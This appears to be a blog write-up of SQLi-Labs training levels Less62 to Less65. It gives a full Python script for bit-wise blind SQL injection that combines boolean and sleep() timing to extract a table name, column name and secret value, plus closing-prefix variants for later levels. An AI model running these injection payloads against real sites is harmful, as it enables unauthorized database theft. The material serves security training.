[靶场] SQLi-Labs Less62-Less69

66.Less62

请求方式注入方式备注
GET盲注130次语句以内完成

分析

我们需要指定challenges数据库中表名,表名为10个字符(包含数字和小写字母)。

还需要知道表中的字段名,字段名为secret_XX,XX为4个字符(包含数字和大写字母)。

字段内容有24个字符(包含数字,大写字母和小写字母)。

  • 采用暴力枚举盲注(使用等于号枚举)需要 10*(10+26)+4*(10+26)+24*(10+26+26) = 1992次
  • 采用二分法盲注(使用大于,小于,等于判断枚举)需要 (10+4+24)*log2(10)+(10+4+24*2)*log2(26)+=418次(理想情况下)。

我们发现id取不同的值,页面返回不同的用户信息(di值从1到12)。

我们可以暴力枚举比特位的方法。利用左移(>>)运算符预设要判断的位置

select case bin(ascii(substr(table_name, 1, 1))>>3) & (POW(2,0)+POW(2,1)+POW(2,2))
when 0 then 1
when 1 then 2
when 2 then 3
when 3 then 4
when 4 then 5
when 5 then 6
when 6 then 7
else 8 end, bin(ascii(substr(table_name, 1, 1))),bin(POW(2,0)+POW(2,1)+POW(2,2)), substr(table_name, 1, 1)
from information_schema.tables where table_schema='challenges'

使用上述代码,爆破challenges的第一个表的第一个字符的0-2比特位(3个比特位),并返回某种对应的值。

例如字符'b'的二进制为01100010,低三位为010,和111进行与运算,得到010(十进制为2),根据条件,返回数值3。

上述是根据返回状态的盲注

一个字符8个比特,一次判断出3比特,一个字符判断3次,一共10+4+24=38个字符,大约38*3=114次

保证我们需要的数字为输入参数,我们需要先分析语句的类型为整形或字符型(有没有括号闭合),在利用位运算实现得到指定的数值。

使用手动判断的方法判断出闭合类型为字符型(单引号、括号闭合)

利用位运算得到想要的数值。

但是在网页请求中使用,无法正常执行。

需要我们将&和|进行URL编码,才可以正常执行。实现我们输入的参数id为1,但是返回的结果为我们指定的id为3的信息。同上需要将+使用%2B编码,否则会被php转换为空格。

我们还可以再减少次数,刚才每个字符需要3次请求,我们可以再缩减到2次。

我们请求后除了有显示的不同状态,其实还有一个状态--请求时间或者延时。

我们每次可以获取3bit数据,我们再利用sleep判断获取1bit信息,这样我们就可以每次获取4bit数据,并且实现一个字符2次请求即可。

具体的是第一次请求,获取0-2位时,使用if判断第6位的数据;第二次请求,获取3-5位时,使用if连接判断第7位的数据。

例如上图,获取了0-2位的数据(需要减一,即实际为7),通过查询时间,判断出第6位的数据为1,同时获取4比特数据。

得到第一个字符的二进制位:x1xxx111。

例如上图,获取了3-5位的数据(需要减一,即实际为4),通过查询时间,判断出第7位的数据为0,同时获取4比特数据。

得到第一个字符的二进制位:01100111,即位字符'g'。

这样,一共24+10+4=38个字符,每个字符2次请求,共需要38*2=76次请求即可。

20次请求,成功爆破出表名:

我们可以爆破出字段名和内容。

脚本:

# coding:utf-8
# 基于字符串比特位匹配的盲注脚本
import time

import requests
import re
import os

sql_fp = "1')%260%7c"
# 由于服务器响应慢,正常返回为2s多,sleep(0.1)延时1s
sql_cmd = sql_fp + "(select case bin(ascii(substr(@0_name, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
                   "when 0 then 1 " \
                   "when 1 then 2 " \
                   "when 2 then 3 " \
                   "when 3 then 4 " \
                   "when 4 then 5 " \
                   "when 5 then 6 " \
                   "when 6 then 7 " \
                   "when 7 then 8 else 9 end " \
                   "%7c (if((bin(ascii(substr(@0_name, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
                   "from information_schema.@0s where table_schema=database() @4 )  --+"
sql_search = sql_fp + "(select case bin(ascii(substr(@0, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
                   "when 0 then 1 " \
                   "when 1 then 2 " \
                   "when 2 then 3 " \
                   "when 3 then 4 " \
                   "when 4 then 5 " \
                   "when 5 then 6 " \
                   "when 6 then 7 " \
                   "when 7 then 8 else 9 end " \
                   "%7c (if((bin(ascii(substr(@0, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
                   "from @4 )  --+"
url = 'http://127.0.0.1:8003/Less-62/?id='
state_list = []
rp = 'Your\s*Login\s*name\s*:\s*(.*?)<br>'
rc = 1


def main():

    if os.path.exists('./bsl.txt'):
        print('文件存在')
        with open('./bsl.txt', 'r') as f:
            res = f.read().split('\n')
            for i in res:
                if i != '':
                    state_list.append(i)
    else:
        print('文件不存在')

        # 0.爆破状态表
        print('收集状态表')
        state_list.append('0')
        for i in range(1, pow(2, 3)+2):
            u = url + str(i)
            respond = requests.get(u)
            state_list.append(re.findall(rp, respond.text)[0])
            print('.', end='')

        with open('./bsl.txt', 'w') as f:
            f.write('\n'.join(state_list))
            print('写入完成')

    print('爆破状态表:')
    print(state_list)

    # @ 表名
    table_name_list = []
    if input('是否指定表名? y/n:') != 'y':
        print('[~]进行表名判断')
        for i in range(1, 11):
            c = 0
            # 1.判断 字符的第0,1,2,6位
            # 010 大写字母; 011 小写字母; 001 数字
            state = req('table', i, 0, 6)
            c = c | state[0] | state[1] << 6
            # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

            # 2.判断 字符的第3,4,5,7位
            state = req('table', i, 3, 7)
            c = c | state[0] << 3 | state[1] << 7
            # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

            print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
            table_name_list.append((chr(c)))
        table_name = ''.join(table_name_list)
        print('爆破表名为: [ {} ]'.format(table_name))
    else:
        table_name = input('输入表名:').strip()

    # @字段名
    column_name_list = []
    offset = 7
    if input('是否指定字段名? y/n:') != 'y':
        print('[~]进行第三个字段名名判断,从第7个字符,判断4个字符出来')
        for i in range(1, 5):
            c = 0
            # 1.判断 字符的第0,1,2,6位
            # 010 大写字母; 011 小写字母; 001 数字
            state = req('column', i+offset, 0, 6, table_name=table_name)
            c = c | state[0] | state[1] << 6
            # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

            # 2.判断 字符的第3,4,5,7位
            state = req('column', i+offset, 3, 7, table_name=table_name)
            c = c | state[0] << 3 | state[1] << 7
            # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

            print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
            column_name_list.append((chr(c)))
        column_name = 'secret_' + ''.join(column_name_list)
        print('爆破的字段名为:[ {} ]'.format(column_name))
    else:
        column_name = input('输入字段名:').strip()

    # 9u8573nri2
    # secret_WJWE
    # @字段内容
    value_list = []
    print('[~]字段值进行枚举中....')
    for i in range(1, 25):
        c = 0
        # 1.判断 字符的第0,1,2,6位
        # 010 大写字母; 011 小写字母; 001 数字
        state = search(column_name, table_name, i, 0, 6)
        c = c | state[0] | state[1] << 6
        # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

        # 2.判断 字符的第3,4,5,7位
        state = search(column_name, table_name, i, 3, 7)
        c = c | state[0] << 3 | state[1] << 7
        # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))

        print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
        value_list.append((chr(c)))
    value = ''.join(value_list)

    print('爆破表名为: [ {} ]'.format(table_name))
    print('爆破的字段名为:[ {} ]'.format(column_name))
    print('[!]{}的值为:[ {} ]'.format(column_name, value))


def req(type, i, co, ci, **kwargs):
    global rc
    rl = []
    t = sql_cmd
    if type == 'column':
        ep = "and table_name = '{}' limit 2,1".format(kwargs['table_name'])
    else:
        ep = ''
    sql = t.replace('@0', type).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci)).replace('@4', ep)

    u = url + sql
    print('[!]第{:d}次请求......'.format(rc))
    rc = rc + 1
    time_start = time.time()
    respond = requests.get(u)
    time_end = time.time()
    timeReal = time_end - time_start
    # print(respond.text)
    rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1)
    # print(timeReal)
    if timeReal > 4:
        rl.append(1)
    else:
        rl.append(0)
    return rl


def search(cn, tn, i, co, ci):
    global rc
    rl = []
    t = sql_search
    sql = t.replace('@0', cn).replace('@4', tn).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci))

    u = url + sql
    print('[!]第{:d}次请求......'.format(rc))
    rc = rc + 1
    time_start = time.time()
    respond = requests.get(u)
    time_end = time.time()
    timeReal = time_end - time_start
    # print(respond.text)
    rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1)
    # print(timeReal)
    if timeReal > 4:
        rl.append(1)
    else:
        rl.append(0)
    return rl


def getIndex(bl, value):
    for i, e in enumerate(bl):
        if e == value:
            return i
    return -1


if __name__ == '__main__':
    main()

67.Less63

请求方式注入方式备注
GET盲注130次语句以内完成

')闭合,修改闭合方式即可。

使用less62中脚本,修改代码中的sql_fp为 "1')%260%7c"

68.Less64

请求方式注入方式备注
GET盲注130次语句以内完成

))闭合,修改闭合方式即可。

使用less62中脚本,修改代码中的sql_fp为 "1))%260%7c"

69.Less65

请求方式注入方式备注
GET盲注130次语句以内完成

以")闭合,修改闭合方式即可。

使用less62中脚本,修改代码中的sql_fp为 "1\")%260%7c"

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值